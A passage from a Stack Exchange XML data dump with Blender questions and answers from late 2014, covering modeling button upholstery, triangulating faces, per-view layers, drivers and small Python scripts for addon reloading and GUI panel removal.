Tags="&lt;materials&gt;&lt;objects&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19239" PostTypeId="2" ParentId="19238" CreationDate="2014-11-26T06:35:08.673" Score="8" Body="&lt;p&gt;By default the ambient color is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change it to something else in &lt;em&gt;Properties &gt; World &gt; Ambient Color&lt;/em&gt;, then it works as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ySjPE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-26T06:35:08.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19240" PostTypeId="2" ParentId="19088" CreationDate="2014-11-26T08:12:10.093" Score="1" Body="&lt;p&gt;You can use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;nofollow&quot;&gt;driver&lt;/a&gt; to easily get the render resolution from the scene, for a user selected image it gets tricky as you will need to know the name of the image or the image node to reference it's resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you could achieve that with a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Python_Nodes&quot; rel=&quot;nofollow&quot;&gt;custom python node&lt;/a&gt; but at this stage they don't integrate well, they don't update when a connected node changes so need manual updating which can lead to errors.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-26T08:12:10.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19241" PostTypeId="1" AcceptedAnswerId="19260" CreationDate="2014-11-26T08:41:19.330" Score="21" ViewCount="2382" Body="&lt;p&gt;How can I model backrest upholstery for a bed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4ELk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Have used the Bevel command but it's not close:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AQOEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BvZRn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8110" LastEditorUserId="8110" LastEditDate="2014-11-29T08:17:32.610" LastActivityDate="2020-03-01T23:13:45.273" Title="Model upholstery with buttons?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="19242" PostTypeId="2" ParentId="19105" CreationDate="2014-11-26T08:46:31.757" Score="1" Body="&lt;p&gt;A StringProperty gives you a single value for the scene, to get a new value for each frame you will need a list or collection to hold all the values for each frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender does offer a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.props.html#collection-example&quot; rel=&quot;nofollow&quot;&gt;CollectionProperty&lt;/a&gt; which should suit your needs. You want to have a value for your string then an index or key that will be the frame that value is good for.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-26T08:46:31.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19243" PostTypeId="1" AcceptedAnswerId="19245" CreationDate="2014-11-26T09:50:53.170" Score="21" ViewCount="3138" Body="&lt;p&gt;How can I show different layers in separate windows? For example, show layer 1 and 2 in one window, and show layer 3 and 4 in another window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this so I can see everything I am doing correctly since I do have a messy rig.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="55" LastEditDate="2014-11-26T12:47:42.333" LastActivityDate="2014-11-26T12:47:42.333" Title="How to display different layers in each 3D View?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19245" PostTypeId="2" ParentId="19243" CreationDate="2014-11-26T10:04:00.670" Score="26" Body="&lt;p&gt;Disable &lt;em&gt;lock layers to scene&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt; to use local layers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sfZaA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then each 3D view can have it's own visible layers.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="241" LastEditDate="2014-11-26T11:27:59.900" LastActivityDate="2014-11-26T11:27:59.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19246" PostTypeId="2" ParentId="19220" CreationDate="2014-11-26T11:33:22.483" Score="1" Body="&lt;p&gt;I think this is a limitation of the current dependency graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I would handle it is to add a custom property to the object, than add a driver to the array count that uses the custom value, set this other driver to also use the custom property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As answered in the comments, you also need to overcome the chicken and the egg theory when creating drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new custom property to the object. in the UI you click the add button, in python there is nothing special, you just give the property a value and it gets created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bpy.data.objects['Cube']['myControl'] = 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a driver to the count value of the array modifier&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYPDp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Add the same driver settings for the other item that previous read modifiers['Array'].count&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now when you change the myControl value, both items will use the same value. You can create a panel wherever you like to display the custom property or add it to an existing panel.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-11-27T15:22:31.227" LastActivityDate="2014-11-27T15:22:31.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19247" PostTypeId="2" ParentId="14288" CreationDate="2014-11-26T11:37:56.950" Score="1" Body="&lt;p&gt;I am the author of the blensor addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the tip from CoDEmanX and just implemented the reload functionality in the blensor module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an older blensor version and don't want to compile it from source you can manually add it by changing the file &amp;#95;&amp;#95;init&amp;#95;&amp;#95;.py&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything above &lt;strong&gt;&amp;#95;&amp;#95;version&amp;#95;&amp;#95;&lt;/strong&gt; has to be changed to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import traceback&#xA;from mathutils import Matrix&#xA;from math import pi&#xA;import types&#xA;import bpy&#xA;&#xA;import blensor.blendodyne&#xA;import blensor.depthmap&#xA;import blensor.tof&#xA;import blensor.evd&#xA;import blensor.ibeo&#xA;import blensor.generic_lidar&#xA;import blensor.kinect&#xA;import blensor.exportmotion&#xA;import blensor.mesh_utils&#xA;import blensor.noise&#xA;&#xA;&quot;&quot;&quot;If the blensor module is reloaded, reload all submodules as well&#xA;   This will reload all modules at the initial import as well but &#xA;   that should not be a problem&#xA;&quot;&quot;&quot;&#xA;import imp&#xA;locals_copy = dict(locals())&#xA;for var in locals_copy:&#xA;    tmp = locals_copy[var]&#xA;    if isinstance(tmp, types.ModuleType) and tmp.__package__ == &quot;blensor&quot;:&#xA;      print (&quot;Reloading: %s&quot;%(var))&#xA;      imp.reload(tmp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that hitting F8 should reload the submodules as well.&lt;/p&gt;&#xA;" OwnerUserId="8202" LastActivityDate="2014-11-26T11:37:56.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19248" PostTypeId="1" CreationDate="2014-11-26T14:04:13.797" Score="2" ViewCount="577" Body="&lt;p&gt;I have an animated mask. Can I modify easings of it in the &quot;Graph View&quot;?&#xA;There is some sort of &quot;Mask&quot; mode like one in the &quot;Dope Sheet&quot;?&lt;/p&gt;&#xA;" OwnerUserId="8205" LastActivityDate="2014-11-26T14:04:13.797" Title="Masks animation in the graph view is possible?" Tags="&lt;animation&gt;&lt;masking&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19249" PostTypeId="1" AcceptedAnswerId="19250" CreationDate="2014-11-26T14:22:34.930" Score="9" ViewCount="1345" Body="&lt;p&gt;I want to use Blender for a specific task where the user (not me) is just presented with a limited set of tools and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the usual possibilities configuring the GUI lead my quite close to my target. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beside that I want the toolbar only contain my tools/buttons. Editing &lt;code&gt;space_view3d_toolbar.py&lt;/code&gt; gave me an empty toolbar which I then populate with my own tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I would like to NOT alter Blenders core files and just use a script registered in my startup.blend which does the cleaning. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to iterate through the existing Panels (for all modes) on the toolbar and remove them? &lt;/p&gt;&#xA;" OwnerUserId="8207" LastEditorUserId="55" LastEditDate="2014-11-26T21:32:18.830" LastActivityDate="2014-11-26T21:32:18.830" Title="Simplify Blender GUI using Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19250" PostTypeId="2" ParentId="19249" CreationDate="2014-11-26T14:34:31.003" Score="11" Body="&lt;p&gt;To remove panels, you can simply unregister the classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we remove all View 3D Panels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for pt in bpy.types.Panel.__subclasses__():&#xA;    if pt.bl_space_type == 'VIEW_3D':&#xA;        bpy.utils.unregister_class(pt)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you may want to do some other checks to only remove some of the panels... try use the Python console to inspect the panel types and see which members are useful to check (&lt;code&gt;__name__&lt;/code&gt; for example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;__subclasses__&lt;/code&gt; is a standard Python method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for other areas too, operators, menu's, (any class which can be registered).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To run Multiple times you need to check if the class has a specific RNA attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for pt in bpy.types.Panel.__subclasses__():&#xA;    if pt.bl_space_type == 'VIEW_3D':&#xA;        if &quot;bl_rna&quot; in pt.__dict__:   # &amp;lt;-- check if we already removed!&#xA;            bpy.utils.unregister_class(pt)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that this making use of an internal attribute and is not a documented part of the Python API, its used for Blender's own tracking of classes.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-11-26T18:38:07.910" LastActivityDate="2014-11-26T18:38:07.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19251" PostTypeId="2" ParentId="2549" CreationDate="2014-11-26T15:16:42.647" Score="8" Body="&lt;p&gt;You can use Sun Beams node in the Compositor, introduced with Blender 2.72.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Compositing&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Compositing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it doesn't involve true volumetrics and renders super fast, although it's not as flexible and thus not suitable for all situations. Here is a simple example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMMEp.png&quot; alt=&quot;sun beams node&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2014-11-26T15:16:42.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19252" PostTypeId="1" CreationDate="2014-11-26T15:21:51.857" Score="2" ViewCount="264" Body="&lt;p&gt;I want to use Blender for a specific task where the user (not me) is just presented with a limited set of tools and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the usual possibilities configuring the GUI lead my quite close to my target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: When using a FileWindow the info(window) bar ist still on top I would like to remove that too. It seems that Fileops (like load or import) are opening a maximized window (like with Shift-Spacebar). So is there a method to avoid this for all fileoperations? e.g. open the FileWindow just in the window it was called&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here an image: &lt;img src=&quot;https://i.stack.imgur.com/ByNr4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my users this in the info bar (marked it &lt;strong&gt;red&lt;/strong&gt;) is not usefull in this moment... They should not be able to change the render engine or browse the menu etc. but just open a file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Carsten&lt;/p&gt;&#xA;" OwnerUserId="8207" LastEditorUserId="8207" LastEditDate="2014-11-27T18:46:54.773" LastActivityDate="2014-11-27T18:46:54.773" Title="Simplify Blender GUI, FileWindow without info header" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19253" PostTypeId="1" AcceptedAnswerId="19254" CreationDate="2014-11-26T15:28:00.653" Score="26" ViewCount="59611" Body="&lt;p&gt;I need to create test file for my program. But it only accepts polygons with 3 vertices - triangles as input. How can I convert all polygons of some object into triangles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to select all faces, but how to split them into triangles. &lt;/p&gt;&#xA;" OwnerUserId="8203" LastEditorUserId="29301" LastEditDate="2018-02-22T08:26:36.923" LastActivityDate="2018-02-22T08:26:36.923" Title="How to make all polygons into triangles" Tags="&lt;mesh&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19254" PostTypeId="2" ParentId="19253" CreationDate="2014-11-26T15:33:01.290" Score="38" Body="&lt;p&gt;You can select all the faces and go to &lt;em&gt;Mesh&gt; Faces&gt; Triangulate Faces&lt;/em&gt; in the 3D View header (or just press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; for the same effect) while in Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/users/55/ideasman42&quot;&gt;ideasman42&lt;/a&gt;  pointed out in the comments, &lt;em&gt;Mesh&gt; Faces&gt; Poke Faces&lt;/em&gt; (accessible with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;) will also triangulate the mesh by adding a vertex in the center of each face and fan-filling around the vertex, it may give preferred results for certain cases, for example, cylinder caps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also add a 'Triangulate' modifier to the object and apply it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LXTcu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visualisation of the two methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/egD9D.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/egD9D.png&quot; alt=&quot;Triangulate and Poke Faces Visualisation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2018-01-11T19:47:08.043" LastActivityDate="2018-01-11T19:47:08.043" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19256" PostTypeId="2" ParentId="19237" CreationDate="2014-11-26T16:31:20.623" Score="-2" Body="&lt;p&gt;I presume you are using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not use camera Depth of Field but instead use the Z value pass (enabled by default in your render layers) in the compositor (ex. with Defocus node).&lt;/p&gt;&#xA;" OwnerUserId="8211" LastEditorUserId="2217" LastEditDate="2014-11-26T17:35:21.487" LastActivityDate="2014-11-26T17:35:21.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19257" PostTypeId="1" CreationDate="2014-11-26T16:32:23.693" Score="0" ViewCount="358" Body="&lt;p&gt;I'm completely new to blender (v 2.72b). I'm reading the official tutorial but I'm stuck because the list of textures isn't displayed inside texture context of properties menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation/1.A_static_Gingerbread_Man#Materials_and_Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is the tutorial and in particular I can't see the texture list in &lt;a href=&quot;http://wiki.blender.org/index.php/File:Manual-Part-I-Quick38v25.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I see in my project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ax9jF.png&quot; alt=&quot;blender screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="8209" LastEditorUserId="8209" LastEditDate="2014-11-26T18:54:06.037" LastActivityDate="2014-11-26T18:54:06.037" Title="Textures list not shown" Tags="&lt;texturing&gt;&lt;interface&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19258" PostTypeId="1" CreationDate="2014-11-26T16:59:10.260" Score="1" ViewCount="54" Body="&lt;p&gt;I want to animate the rotation of a plane (I need to move it from position 1 to position 2, using 2 turns and rotating by Z axis) as in the picture below. However to do so, I need the origin point to move from the left to the right side of a plane. Is it possible to keyfame the origin point location?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xEJ8H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-11-26T17:19:33.443" Title="Animating the origin point location. Is it possible?" Tags="&lt;animation&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-11-26T23:20:54.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="19260" PostTypeId="2" ParentId="19241" CreationDate="2014-11-26T17:59:58.877" Score="25" Body="&lt;p&gt;The following workflow is recomended:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method 1:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create unit mesh;&lt;/li&gt;&#xA;&lt;li&gt;Array modifers;&lt;/li&gt;&#xA;&lt;li&gt;Bevel modifier (type: Vertex Group);&lt;/li&gt;&#xA;&lt;li&gt;Apply modifiers, inset ngons, then poke;&lt;/li&gt;&#xA;&lt;li&gt;Proportional edit (type: Random)&lt;/li&gt;&#xA;&lt;li&gt;refinement.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/khpGl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qb8A2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Step 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gyXEt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Step 5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5OO87.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3NEktSzVQVDNfeDQ/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;Example file&lt;/a&gt;&lt;/strong&gt; for Method 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Things can be much faster by using &lt;strong&gt;Select Similar&lt;/strong&gt; operator (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;) while processing.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 2:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create unit mesh;&lt;/li&gt;&#xA;&lt;li&gt;Array modifiers;&lt;/li&gt;&#xA;&lt;li&gt;Translate the four corners and one center vert with Proportional Editing Falloff.&lt;/li&gt;&#xA;&lt;li&gt;Refinement.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GmIIC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Step 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mk7Wo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3bHo5U19pWUt5X0U/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;Example file&lt;/a&gt;&lt;/strong&gt; for Method 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Comparing with Method 1, the topology is cleaner with less wrinkles, which may be less realstic, but could probably be expected. &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:35:15.547" LastActivityDate="2015-04-06T01:35:15.547" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19261" PostTypeId="1" AcceptedAnswerId="19270" CreationDate="2014-11-26T18:22:47.873" Score="1" ViewCount="911" Body="&lt;p&gt;So I've tried everything I can think of (which isn't much, still pretty new to this), get figure out a way to get a loop shape on the top of this figure.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for the top of an earring that is going to be 3D printed, so I'm having trouble with a few different things (non-manifold and keeping it big enough are 2 of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vAKC7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GCEo4.png&quot; alt=&quot;presub-surf&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cut a torus in half, shaped it and merged it with a bunch of the axes at the top of the figure. When I subsurf it, the shape gets a little wonky. And when I try to remove non-manifold geometry, it just completely removes the torus from my other shape. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to do this type of thing (add loops onto tops of earrings and such). Particularly if you are going to be subsurfing and making a lot of curved figures. Any insight appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="8217" LastActivityDate="2014-11-27T14:10:00.953" Title="How to add a torus to another shape" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19264" PostTypeId="2" ParentId="19241" CreationDate="2014-11-26T19:40:57.707" Score="12" Body="&lt;p&gt;As a basic start, you might try something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;). (I've scaled it in edit mode so it's rectangular, but you can make it any shape you like)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide it as evenly as possible (starting with square sections means you will end up with square sections):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rmH4P.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the inner vertices with &lt;em&gt;Box select&lt;/em&gt; (&lt;kbd&gt;B&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Checker deselect &lt;em&gt;3D view &gt; Header &gt; Select&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JDgBs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move those vertices down on the Z (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;), add a subsurf modifier (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt; where 2 refers to the number of view port subdivisions) and bevel them (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xn4ED.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate those faces (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) and press &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Selected&lt;/em&gt; to make a separate object out of them. Then select the new object and separate each face (button) into a separate object by pressing &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Loose parts&lt;/em&gt; while in edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7u8to.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Recenter the origins of all the faces (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to geometry&lt;/em&gt;), then pick one button to be the main button. With that button &lt;em&gt;active&lt;/em&gt; (brighter yellow outline), press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Object data&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zCv01.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now changes to one button in edit mode will affect all the buttons.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the button more button-like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wRsbH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finish off the main part by extruding it and filling the back side with &lt;em&gt;Grid fill&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/BothLikableAmericankestrel&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/BothLikableAmericankestrel.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.777" LastActivityDate="2014-11-26T19:40:57.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
